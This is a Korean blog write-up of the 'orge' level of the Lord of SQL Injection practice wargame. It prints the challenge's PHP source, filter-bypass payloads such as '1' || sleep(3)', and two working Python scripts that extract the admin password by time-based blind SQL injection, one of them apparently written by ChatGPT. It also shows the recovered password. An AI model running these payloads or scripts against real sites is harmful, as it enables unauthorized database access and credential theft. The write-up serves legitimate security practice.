[Solved in under 10 minutes]
또 빨리 풀려서 하나 더 한다.
흐름이야~
가보자

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
코드를 간단하게 정리하자면 id=guest 고정이고 pw를 인자로 받는다.
필터링은 이전 문제와 같이 or, and로 받는다.
하지만, 이 문제는 조금 다른게
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
이 구문으로 인해서 pw값의 유무를 판단하고 그 pw가 DB안에 들어있는 admin의 pw와 일치하는지 검증하기 때문에 무조건 pw값을 알아내야 한다.

?pw=1
일단 guest의 비밀번호가 1이 아닌것을 확인해주고 아 맞다 굳이 안적고 비워도 된다 이것도 내 습관이다 양해바람다~
그다음 바로 sleep() 함수부터 가보자

1' || sleep(3) %23
역시나 아주 잘 먹힌다.
고로 이 문제는 Time-based SQL Injection이다
이전에 시간내서 코드 짜둔걸 조금만 변경하자면
or (우회)-> ||
and (우화)-> &&
이거 바꾸고 URL만 바꿔주면?

import requests
import time
import string
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = {'PHPSESSID': 'p3b42jo6aurcdrdm8av7dl686l'}
charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'
pw_len_result = ''
result_all = ''
print("PW 길이 찾기 요이땅!")
for pw_len in range(1, 33):
len_payload = f"1' || if(length(pw)={pw_len}, sleep(3), 0) #"
len_start = time.time()
len_response = requests.get(url, params={'pw': len_payload}, cookies=cookie)
len_found_time = time.time() - len_start
if len_found_time > 2:
pw_len_result = pw_len
print(f"PW 길이 : {pw_len}")
break
print("PW 값 찾기 요이땅!")
if pw_len_result:
for i in range(1, pw_len_result + 1):
result = []
for char in charset:
payload = f"1' || binary substring(pw,{i},1)='{char}' && sleep(3) #"
start = time.time()
response = requests.get(url, params={'pw': payload}, cookies=cookie)
found_time = time.time() - start
if found_time > 2:
result += char
print(f"PW 값 {i}번째 : {char}")
if len(result) == 1:
result_all += result[0]
elif len(result) > 1:
result_all += f"[{''.join(result)}]"
else:
print("다시 돌려라.")
else:
print("PW 길이 못 찾았다. 다시 돌려라.")
print(f"PW 값 {pw_len_result}자리 : {result_all}")
[7d][bf][7j][5s][1k][ao][ae][8c]
일단 이 코드에 대한 설명은 Orc Write-up을 확인하자.
간단하게 sleep문을 이용해서 한자리씩 Brute-force하여 2초이상 sleep이면 그 값을 가져오는 형식이다.
미치겠다.
뭔데 왜 값들이 두개씩 8자리인건데?
뭔가 코드 잘 못 짰나 싶어서 직접
1' || binary substring(pw,1,1)='7' %26%26 sleep(3) %23
1' || binary substring(pw,1,1)='d' %26%26 sleep(3) %23
꽂아보니 진짜 둘 다 sleep()이 걸린다 허허
이 방식이 틀려서 이렇게 된 걸수도 있어요 여러분
저를 너무 믿지 마세요.
저도 사실 저를 못 믿겠어요 ㅜㅠㅜ
걍 다시 한번 울며 겨자먹기로 노가다 하자...
라고 생각했는데 생각해보니 2^8 = 256가지의 경우의수다.
예~미 ㅅㅋㅋㅋㅋㅋㅋㅋㅋ
GPT형님한테 가서 코드 값 보내서 응답있는거 있음 그걸로 뽑아줘.
'해줘' 했더니

import requests
import itertools
import re
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = {'PHPSESSID': 'p3b42jo6aurcdrdm8av7dl686l'} # 필요 시 설정
# 사용자 입력 받기
user_input = "[7d][bf][7j][5s][1k][ao][ae][8c]"
# 대괄호 안 문자들만 추출
# 예: [7d] → ['7', 'd']
char_sets = [list(group) for group in re.findall(r'\[([^\[\]]+)\]', user_input)]
# 조합 생성
combinations = itertools.product(*char_sets)
for combo in combinations:
pw = ''.join(combo)
params = {'pw': pw}
res = requests.get(url, params=params, cookies=cookies)
if "clear" in res.text.lower(): # 성공 판단 기준 문자열
print(f"[+] Found: {pw}")
break
7b751aec
1초만에 바로 뽑혔다.
삽입해보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
?pw=7b751aec
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
얏~호 뭔가 기분 되게 더러운데 일단 풀렸으니..
아니 그런데 진짜 LoS 서버문제인가? 아니면 값이 두개 들어가 있는건가?
아님 누가 LoS에 SQLI 조져서 값이 하나 더 들어간건가?
아님 내 능지 부족인가?
이쪽이 제일 가깝다고 본다.
여하튼 풀었으니 됐잖아~
LoS(Lord of SQL Injection) Orge Write-up
이상 보고 끝!